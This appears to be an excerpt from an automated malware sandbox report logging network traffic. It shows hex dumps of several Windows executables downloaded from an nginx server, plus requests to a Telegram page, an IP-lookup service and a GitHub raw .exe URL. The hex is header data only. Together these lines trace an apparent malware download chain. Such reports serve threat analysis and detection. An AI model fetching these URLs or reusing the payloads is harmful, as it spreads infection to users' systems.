00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 09:15:17 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 09:15:29 GMTContent-Type: application/octet-streamContent-Length: 4490240Last-Modified: Sat, 21 Dec 2024 07:47:25 GMTConnection: keep-aliveETag: "6766728d-448400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 b0 c9 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c9 00 00 04 00 00 1d 15 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 99 c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 99 c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 74 00 00 10 00 00 00 4c 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 60 74 00 00 02 00 00 00 5c 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 74 00 00 02 00 00 00 5e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 39 00 00 80 74 00 00 02 00 00 00 60 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 62 79 6a 6f 77 68 6a 00 00 1c 00 00 a0 ad 00 00 fc 1b 00 00 62 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 76 61 66 6f 7a 6c 73 00 10 00 00 00 a0 c9 00 00 04 00 00 00 5e 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 c9 00 00 22 00 00 00 62 44 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 09:15:41 GMTContent-Type: application/octet-streamContent-Length: 1374720Last-Modified: Thu, 19 Dec 2024 17:14:58 GMTConnection: keep-aliveETag: "67645492-14fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 0a 00 e0 68 17 44 00 8c 14 00 e1 14 00 00 e0 00 26 03 0b 01 02 26 00 c8 0b 00 00 f6 14 00 00 04 00 00 80 14 00 00 00 10 00 00 00 e0 0b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 15 00 00 04 00 00 5c 55 1a 00 02 00 40 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 14 00 08 1c 00 00 00 90 14 00 2c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 15 00 bc 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 8e 12 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 54 14 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 c7 0b 00 00 10 00 00 00 c8 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 48 01 00 00 00 e0 0b 00 00 02 00 00 00 cc 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 98 a1 06 00 00 f0 0b 00 00 a2 06 00 00 ce 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 65 68 5f 66 72 61 6d ec 94 01 00 00 a0 12 00 00 96 01 00 00 70 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 34 02 00 00 00 40 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 08 1c 00 00 00 50 14 00 00 1e 00 00 00 06 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 70 14 00 00 02 00 00 00 24 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 80 14 00 00 02 00 00 00 26 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 2c 6c 00 00 00 90 14 00 00 6e 00 00 00 28 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 bc 63 00 00 00 00 15 00 00 64 00 00 00 96 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 09:15:49 GMTContent-Type: application/octet-streamContent-Length: 22016Last-Modified: Thu, 19 Dec 2024 14:25:14 GMTConnection: keep-aliveETag: "67642cca-5600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 66 0f 37 94 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4c 00 00 00 08 00 00 00 00 00 00 8e 6a 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 6a 00 00 4f 00 00 00 00 80 00 00 ac 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 a8 69 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 4a 00 00 00 20 00 00 00 4c 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 05 00 00 00 80 00 00 00 06 00 00 00 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 6a 00 00 00 00 00 00 48 00 00 00 02 00 05 00 28 37 00 00 80 32 00 00 03 00 02 00 1b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 02 00 38 00 00 00 01 00 00 11 73 2f 00 00 06 0a 06 28 16 00 00 0a 7d 20 00 00 04 06 02 7d 21 00 00 04 06 15 7d 1f 00 00 04 06 7c 20 00 00 04 12 00 28 01 00 00 2b 06 7c 20 00 00 04 28 18 00 00 0a 2a 13 30 02 00 50 00 00 00 02 00 00 11 00 7e 02 00 00 04 16 fe 01 0a 06 2c 42 00 72 01 00 00 70 28 19 00 00 0a 00 72 84 00 00 70 28 19 00 00 0a 00 28 05 00 00 06 0b 72 ca 00 00 70 07 28 1a 00 00 0a 28 19 00 00 0a 00 07 28 04 00 00 06 6f 1b 00 00 0a 00 16 28 1c 00 00 0a 00 00 2a 13 30 02 00 38 00 00 00 03 00 00 11 73 32 00 00 06 0a 06 28 16 00 00 0a 7d 28 00 00 04 06 02 7d 29 00 00 04 06 15 7d 27 00 00 04 06 7c 28 00 00 04 12 00 28 02 00 00 2b 06 7c 28 00 00 04 28 18 00 00 0a 2a 13 30 05 00 48 00 00 00 04 00 00 11 00 73 1d 00 00 0a 0a 1a 8d 2f 00 00 01 0b 16 0c 2b 1c 00 07 08 7e 03 00 00 04 06 7e 03 00 00 04 8e 69 6f 1e 00 00 0a 9a a2 00 08 17 58 0c 08 1a fe 04 0d 09 2d dc 72 f0 00 00 70 07 28 1f 00 00 0a 13 04 2b 00 11 04 2a 13 30 02 00 16
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 09:15:54 GMTContent-Type: application/octet-streamContent-Length: 4453888Last-Modified: Sat, 21 Dec 2024 08:24:01 GMTConnection: keep-aliveETag: "67667b21-43f600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 07 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 49 00 00 4c 75 00 00 32 00 00 00 e0 c6 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 c7 00 00 04 00 00 7f ba 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f b0 72 00 73 00 00 00 00 a0 72 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 c0 c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 c0 c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 72 00 00 10 00 00 00 34 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 72 00 00 02 00 00 00 44 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 72 00 00 02 00 00 00 46 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 38 00 00 c0 72 00 00 02 00 00 00 48 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 75 74 62 78 70 73 61 00 90 1b 00 00 40 ab 00 00 84 1b 00 00 4a 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6c 61 63 70 71 67 79 00 10 00 00 00 d0 c6 00 00 06 00 00 00 ce 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 c6 00 00 22 00 00 00 d4 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 09:16:07 GMTContent-Type: application/octet-streamContent-Length: 1933824Last-Modified: Sat, 21 Dec 2024 09:07:01 GMTConnection: keep-aliveETag: "67668535-1d8200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 97 69 b8 cb d3 08 d6 98 d3 08 d6 98 d3 08 d6 98 6e 47 40 98 d2 08 d6 98 cd 5a 52 98 ce 08 d6 98 cd 5a 43 98 c7 08 d6 98 cd 5a 55 98 b8 08 d6 98 f4 ce ad 98 d6 08 d6 98 d3 08 d7 98 a0 08 d6 98 cd 5a 5c 98 d2 08 d6 98 cd 5a 42 98 d2 08 d6 98 cd 5a 47 98 d2 08 d6 98 52 69 63 68 d3 08 d6 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a8 2c b1 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 da 02 00 00 40 01 00 00 00 00 00 00 a0 85 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 d0 85 00 00 04 00 00 77 bb 1d 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5b 80 41 00 6f 00 00 00 00 d0 40 00 a0 ae 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 1a 85 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 c0 40 00 00 10 00 00 00 4e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 a0 ae 00 00 00 d0 40 00 00 70 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 41 00 00 02 00 00 00 ce 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 29 00 00 90 41 00 00 02 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 74 6d 65 6c 61 74 67 00 90 1a 00 00 00 6b 00 00 88 1a 00 00 d2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 6b 63 6c 6d 6b 67 62 00 10 00 00 00 90 85 00 00 06 00 00 00 5a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 85 00 00 22 00 00 00 60 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 09:16:16 GMTContent-Type: application/octet-streamContent-Length: 1843200Last-Modified: Sat, 21 Dec 2024 07:49:45 GMTConnection: keep-aliveETag: "67667319-1c2000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 10 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 49 00 00 04 00 00 8f 6b 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 20 05 00 00 02 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 40 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 70 73 72 6e 73 65 6b 00 a0 19 00 00 60 2f 00 00 9c 19 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 67 68 61 6f 67 70 6d 00 10 00 00 00 00 49 00 00 04 00 00 00 fa 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 49 00 00 22 00 00 00 fe 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /k04ael HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: github.comConnection: Keep-Alive
